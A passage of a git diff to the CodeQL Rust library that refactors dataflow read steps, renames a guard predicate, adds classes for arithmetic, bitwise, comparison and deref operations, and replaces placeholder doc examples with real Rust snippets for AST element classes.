exists(IndexExprCfgNode arr | + c instanceof ElementContent and + node1.asExpr() = arr.getBase() and + node2.asExpr() = arr + ) + or + exists(ForExprCfgNode for | + c instanceof ElementContent and + node1.asExpr() = for.getIterable() and + node2.asPat() = for.getPat() + ) + or + exists(SlicePatCfgNode pat | + c instanceof ElementContent and + node1.asPat() = pat and + node2.asPat() = pat.getAPat() + ) + or + exists(TryExprCfgNode try | + node1.asExpr() = try.getExpr() and + node2.asExpr() = try and + c.(TupleFieldContent) + .isVariantField([any(OptionEnum o).getSome(), any(ResultEnum r).getOk()], 0) + ) + or + exists(PrefixExprCfgNode deref | + c instanceof ReferenceContent and + deref.getOperatorName() = "*" and + node1.asExpr() = deref.getExpr() and + node2.asExpr() = deref + ) + or + // Read from function return + exists(DataFlowCall call | + lambdaCall(call, _, node1) and + call = node2.(OutNode).getCall(TNormalReturnKind()) and + c instanceof FunctionCallReturnContent + ) + or + exists(AwaitExprCfgNode await | + c instanceof FutureContent and + node1.asExpr() = await.getExpr() and + node2.asExpr() = await + ) + or + referenceExprToExpr(node2.(PostUpdateNode).getPreUpdateNode(), + node1.(PostUpdateNode).getPreUpdateNode(), c) + or + // Step from receiver expression to receiver node, in case of an implicit + // dereference. + implicitDerefToReceiver(node1, node2, c) + or + // A read step dual to the store step for implicit borrows. + implicitBorrowToReceiver(node2.(PostUpdateNode).getPreUpdateNode(), + node1.(PostUpdateNode).getPreUpdateNode(), c) + or + VariableCapture::readStep(node1, c, node2) + } + /** * Holds if data can flow from `node1` to `node2` via a read of `c`. Thus, * `node1` references an object with a content `c.getAReadContent()` whose * value ends up in `node2`. */ predicate readStep(Node node1, ContentSet cs, Node node2) { - exists(Content c | c = cs.(SingletonContentSet).getContent() | - exists(TupleStructPatCfgNode pat, int pos | - pat = node1.asPat() and - node2.asPat() = pat.getField(pos) and - c = TTupleFieldContent(pat.getTupleStructPat().getTupleField(pos)) - ) - or - exists(TuplePatCfgNode pat, int pos | - pos = c.(TuplePositionContent).getPosition() and - node1.asPat() = pat and - node2.asPat() = pat.getField(pos) - ) - or - exists(StructPatCfgNode pat, string field | - pat = node1.asPat() and - c = TStructFieldContent(pat.getStructPat().getStructField(field)) and - node2.asPat() = pat.getFieldPat(field) - ) - or - c instanceof ReferenceContent and - node1.asPat().(RefPatCfgNode).getPat() = node2.asPat() - or - exists(FieldExprCfgNode access | - node1.asExpr() = access.getContainer() and - node2.asExpr() = access and - access = c.(FieldContent).getAnAccess() - ) - or - exists(IndexExprCfgNode arr | - c instanceof ElementContent and - node1.asExpr() = arr.getBase() and - node2.asExpr() = arr - ) - or - exists(ForExprCfgNode for | - c instanceof ElementContent and - node1.asExpr() = for.getIterable() and - node2.asPat() = for.getPat() - ) - or - exists(SlicePatCfgNode pat | - c instanceof ElementContent and - node1.asPat() = pat and - node2.asPat() = pat.getAPat() - ) - or - exists(TryExprCfgNode try | - node1.asExpr() = try.getExpr() and - node2.asExpr() = try and - c.(TupleFieldContent) - .isVariantField([any(OptionEnum o).getSome(), any(ResultEnum r).getOk()], 0) - ) - or - exists(PrefixExprCfgNode deref | - c instanceof ReferenceContent and - deref.getOperatorName() = "*" and - node1.asExpr() = deref.getExpr() and - node2.asExpr() = deref - ) - or - // Read from function return - exists(DataFlowCall call | - lambdaCall(call, _, node1) and - call = node2.(OutNode).getCall(TNormalReturnKind()) and - c instanceof FunctionCallReturnContent - ) - or - exists(AwaitExprCfgNode await | - c instanceof FutureContent and - node1.asExpr() = await.getExpr() and - node2.asExpr() = await - ) - or - referenceExprToExpr(node2.(PostUpdateNode).getPreUpdateNode(), - node1.(PostUpdateNode).getPreUpdateNode(), c) - or - // Step from receiver expression to receiver node, in case of an implicit - // dereference. - implicitDerefToReceiver(node1, node2, c) - or - // A read step dual to the store step for implicit borrows. - implicitBorrowToReceiver(node2.(PostUpdateNode).getPreUpdateNode(), - node1.(PostUpdateNode).getPreUpdateNode(), c) - or - VariableCapture::readStep(node1, c, node2) + exists(Content c | + c = cs.(SingletonContentSet).getContent() and + readContentStep(node1, c, node2) ) or FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), cs, @@ -663,7 +669,7 @@ module RustDataFlow implements InputSig { } pragma[nomagic] - private predicate storeContentStep(Node node1, Content c, Node node2) { + additional predicate storeContentStep(Node node1, Content c, Node node2) { exists(CallExprCfgNode call, int pos | node1.asExpr() = call.getArgument(pragma[only_bind_into](pos)) and node2.asExpr() = call and diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index f2500f32ca80..42b1d09f8f9a 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -363,17 +363,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends CfgNodes::AstCfgNode { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(Cfg::ConditionalSuccessor s | this = bb1.getANode() and bb2 = bb1.getASuccessor(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/rust/ql/lib/codeql/rust/elements/Abi.qll b/rust/ql/lib/codeql/rust/elements/Abi.qll index f8c95ad23a4d..129eca161dff 100644 --- a/rust/ql/lib/codeql/rust/elements/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/Abi.qll @@ -7,9 +7,12 @@ private import internal.AbiImpl import codeql.rust.elements.AstNode /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ final class Abi = Impl::Abi; diff --git a/rust/ql/lib/codeql/rust/elements/ArgList.qll b/rust/ql/lib/codeql/rust/elements/ArgList.qll index 1f62274e1b0b..e2f7b1e0bfa2 100644 --- a/rust/ql/lib/codeql/rust/elements/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ArgList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ final class ArgList = Impl::ArgList; diff --git a/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll new file mode 100644 index 000000000000..81abffa1a385 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll @@ -0,0 +1,38 @@ +/** + * Provides classes for arithmetic operations. + */ + +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.PrefixExpr +private import codeql.rust.elements.Operation +private import codeql.rust.elements.AssignmentOperation + +/** + * An arithmetic operation, such as `+`, `*=`, or `-`. + */ +abstract private class ArithmeticOperationImpl extends Operation { } + +final class ArithmeticOperation = ArithmeticOperationImpl; + +/** + * A binary arithmetic operation, such as `+` or `*`. + */ +final class BinaryArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl { + BinaryArithmeticOperation() { this.getOperatorName() = ["+", "-", "*", "/", "%"] } +} + +/** + * An arithmetic assignment operation, such as `+=` or `*=`. + */ +final class AssignArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl, + AssignmentOperation +{ + AssignArithmeticOperation() { this.getOperatorName() = ["+=", "-=", "*=", "/=", "%="] } +} + +/** + * A prefix arithmetic operation, such as `-`. + */ +final class PrefixArithmeticOperation extends PrefixExpr, ArithmeticOperationImpl { + PrefixArithmeticOperation() { this.getOperatorName() = "-" } +} diff --git a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll index f1d2b20a8e09..0b0e32f7add8 100644 --- a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.ConstArg import codeql.rust.elements.TypeRepr /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ final class ArrayTypeRepr = Impl::ArrayTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index 422d02d8ce0c..253dcdfc9fa4 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -6,4 +6,14 @@ private import internal.AsmClobberAbiImpl import codeql.rust.elements.AsmPiece +/** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmClobberAbi = Impl::AsmClobberAbi; diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index b02dc20b8654..7c98cbf04af3 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -7,4 +7,14 @@ private import internal.AsmConstImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Expr +/** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ final class AsmConst = Impl::AsmConst; diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 39af5ad9e075..5a5cf5f82024 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -6,4 +6,14 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode +/** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` + */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll index aab266069ed8..06cee086b3f8 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll @@ -12,7 +12,8 @@ import codeql.rust.elements.Expr * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index e54998042788..aab137e837d2 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -7,4 +7,17 @@ private import internal.AsmLabelImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.BlockExpr +/** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` + */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index cccc425d3fb6..e3672065adc5 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -7,4 +7,14 @@ private import internal.AsmOperandExprImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Expr +/** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmOperandExpr = Impl::AsmOperandExpr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 6c759280912f..cb54a585539a 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -8,4 +8,14 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmPiece import codeql.rust.elements.Name +/** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 10dd031f0a60..84f37b76d0c8 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -6,4 +6,14 @@ private import internal.AsmOptionImpl import codeql.rust.elements.AstNode +/** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOption = Impl::AsmOption; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index 94e82023e170..dc82f9cb4afd 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -7,4 +7,14 @@ private import internal.AsmOptionsListImpl import codeql.rust.elements.AsmOption import codeql.rust.elements.AsmPiece +/** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOptionsList = Impl::AsmOptionsList; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 4ce8deb4b698..2f1900821f18 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -9,4 +9,14 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmOperandExpr import codeql.rust.elements.AsmRegSpec +/** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmRegOperand = Impl::AsmRegOperand; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 5408dddc99be..91f4d5888f6b 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -7,4 +7,14 @@ private import internal.AsmRegSpecImpl import codeql.rust.elements.AstNode import codeql.rust.elements.NameRef +/** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` + */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index b193bc2ce9c2..359cd965c441 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -7,4 +7,14 @@ private import internal.AsmSymImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Path +/** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmSym = Impl::AsmSym; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/AssocItem.qll index 0a56f7109c38..80c1ecafd7e7 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItem.qll @@ -7,9 +7,12 @@ private import internal.AssocItemImpl import codeql.rust.elements.AstNode /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ final class AssocItem = Impl::AssocItem; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index 63f568e1c25b..86ae3df7a6b1 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index eded63ad7cc3..fcf50431c268 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -15,9 +15,17 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/Attr.qll b/rust/ql/lib/codeql/rust/elements/Attr.qll index c7160519253d..176d8987f7f0 100644 --- a/rust/ql/lib/codeql/rust/elements/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/Attr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Meta /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ final class Attr = Impl::Attr; diff --git a/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll new file mode 100644 index 000000000000..3c1f63158b62 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll @@ -0,0 +1,28 @@ +/** + * Provides classes for bitwise operations. + */ + +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.Operation +private import codeql.rust.elements.AssignmentOperation + +/** + * A bitwise operation, such as `&`, `<<`, or `|=`. + */ +abstract private class BitwiseOperationImpl extends Operation { } + +final class BitwiseOperation = BitwiseOperationImpl; + +/** + * A binary bitwise operation, such as `&` or `<<`. + */ +final class BinaryBitwiseOperation extends BinaryExpr, BitwiseOperationImpl { + BinaryBitwiseOperation() { this.getOperatorName() = ["&", "|", "^", "<<", ">>"] } +} + +/** + * A bitwise assignment operation, such as `|=` or `<<=`. + */ +final class AssignBitwiseOperation extends BinaryExpr, BitwiseOperationImpl, AssignmentOperation { + AssignBitwiseOperation() { this.getOperatorName() = ["&=", "|=", "^=", "<<=", ">>="] } +} diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 14464283aa82..0bf9579b2f0e 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -8,9 +8,17 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.GenericParamList /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll new file mode 100644 index 000000000000..24fe9b0b19d6 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -0,0 +1,101 @@ +/** + * Provides classes for comparison operations. + */ + +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.Operation + +/** + * A comparison operation, such as `==`, `<`, or `>=`. + */ +abstract private class ComparisonOperationImpl extends Operation { } + +final class ComparisonOperation = ComparisonOperationImpl; + +/** + * An equality comparison operation, `==` or `!=`. + */ +abstract private class EqualityOperationImpl extends BinaryExpr, ComparisonOperationImpl { } + +final class EqualityOperation = EqualityOperationImpl; + +/** + * The equal comparison operation, `==`. + */ +final class EqualsOperation extends EqualityOperationImpl { + EqualsOperation() { this.getOperatorName() = "==" } +} + +/** + * The not equal comparison operation, `!=`. + */ +final class NotEqualsOperation extends EqualityOperationImpl { + NotEqualsOperation() { this.getOperatorName() = "!=" } +} + +/** + * A relational comparison operation, that is, one of `<=`, `<`, `>`, or `>=`. + */ +abstract private class RelationalOperationImpl extends BinaryExpr, ComparisonOperationImpl { + /** + * Gets the operand on the "greater" (or "greater-or-equal") side + * of this relational expression, that is, the side that is larger + * if the overall expression evaluates to `true`; for example on + * `x <= 20` this is the `20`, and on `y > 0` it is `y`. + */ + abstract Expr getGreaterOperand(); + + /** + * Gets the operand on the "lesser" (or "lesser-or-equal") side + * of this relational expression, that is, the side that is smaller + * if the overall expression evaluates to `true`; for example on + * `x <= 20` this is `x`, and on `y > 0` it is the `0`. + */ + abstract Expr getLesserOperand(); +} + +final class RelationalOperation = RelationalOperationImpl; + +/** + * The less than comparison operation, `<`. + */ +final class LessThanOperation extends RelationalOperationImpl { + LessThanOperation() { this.getOperatorName() = "<" } + + override Expr getGreaterOperand() { result = this.getRhs() } + + override Expr getLesserOperand() { result = this.getLhs() } +} + +/** + * The greater than comparison operation, `>`. + */ +final class GreaterThanOperation extends RelationalOperationImpl { + GreaterThanOperation() { this.getOperatorName() = ">" } + + override Expr getGreaterOperand() { result = this.getLhs() } + + override Expr getLesserOperand() { result = this.getRhs() } +} + +/** + * The less than or equal comparison operation, `<=`. + */ +final class LessOrEqualsOperation extends RelationalOperationImpl { + LessOrEqualsOperation() { this.getOperatorName() = "<=" } + + override Expr getGreaterOperand() { result = this.getRhs() } + + override Expr getLesserOperand() { result = this.getLhs() } +} + +/** + * The greater than or equal comparison operation, `>=`. + */ +final class GreaterOrEqualsOperation extends RelationalOperationImpl { + GreaterOrEqualsOperation() { this.getOperatorName() = ">=" } + + override Expr getGreaterOperand() { result = this.getLhs() } + + override Expr getLesserOperand() { result = this.getRhs() } +} diff --git a/rust/ql/lib/codeql/rust/elements/Const.qll b/rust/ql/lib/codeql/rust/elements/Const.qll index 12fde1ef28b7..b4c652076082 100644 --- a/rust/ql/lib/codeql/rust/elements/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/Const.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ final class Const = Impl::Const; diff --git a/rust/ql/lib/codeql/rust/elements/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/ConstArg.qll index c48b43b3157a..8596d4cfd7c7 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.GenericArg /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ final class ConstArg = Impl::ConstArg; diff --git a/rust/ql/lib/codeql/rust/elements/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/ConstParam.qll index ad7ff707272c..c0135100863f 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.Name import codeql.rust.elements.TypeRepr /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ final class ConstParam = Impl::ConstParam; diff --git a/rust/ql/lib/codeql/rust/elements/Crate.qll b/rust/ql/lib/codeql/rust/elements/Crate.qll index a092591a4701..9bcbcba3b639 100644 --- a/rust/ql/lib/codeql/rust/elements/Crate.qll +++ b/rust/ql/lib/codeql/rust/elements/Crate.qll @@ -5,7 +5,6 @@ private import internal.CrateImpl import codeql.rust.elements.Locatable -import codeql.rust.elements.Module import codeql.rust.elements.internal.NamedCrate final class Crate = Impl::Crate; diff --git a/rust/ql/lib/codeql/rust/elements/DerefExpr.qll b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll new file mode 100644 index 000000000000..0eb54d4930da --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll @@ -0,0 +1,13 @@ +/** + * Provides classes for deref expressions (`*`). + */ + +private import codeql.rust.elements.PrefixExpr +private import codeql.rust.elements.Operation + +/** + * A dereference expression, the prefix operator `*`. + */ +final class DerefExpr extends PrefixExpr, Operation { + DerefExpr() { this.getOperatorName() = "*" } +} diff --git a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll index 0ddf36aced65..b6ce64196299 100644 --- a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ final class DynTraitTypeRepr = Impl::DynTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Enum.qll b/rust/ql/lib/codeql/rust/elements/Enum.qll index eb3801611cb5..3901b3827232 100644 --- a/rust/ql/lib/codeql/rust/elements/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/Enum.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ final class Enum = Impl::Enum; diff --git a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll index 46112c915dcd..7b191ae07a64 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.ExternItemList import codeql.rust.elements.Item /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ final class ExternBlock = Impl::ExternBlock; diff --git a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll index f76857a80586..b54450cadf43 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll @@ -11,9 +11,11 @@ import codeql.rust.elements.Rename import codeql.rust.elements.Visibility /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ final class ExternCrate = Impl::ExternCrate; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/ExternItem.qll index e15a22a702dc..7931ce81c403 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItem.qll @@ -7,9 +7,14 @@ private import internal.ExternItemImpl import codeql.rust.elements.AstNode /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItem = Impl::ExternItem; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll index 5047b23daee5..fa6aee3d1ee7 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import 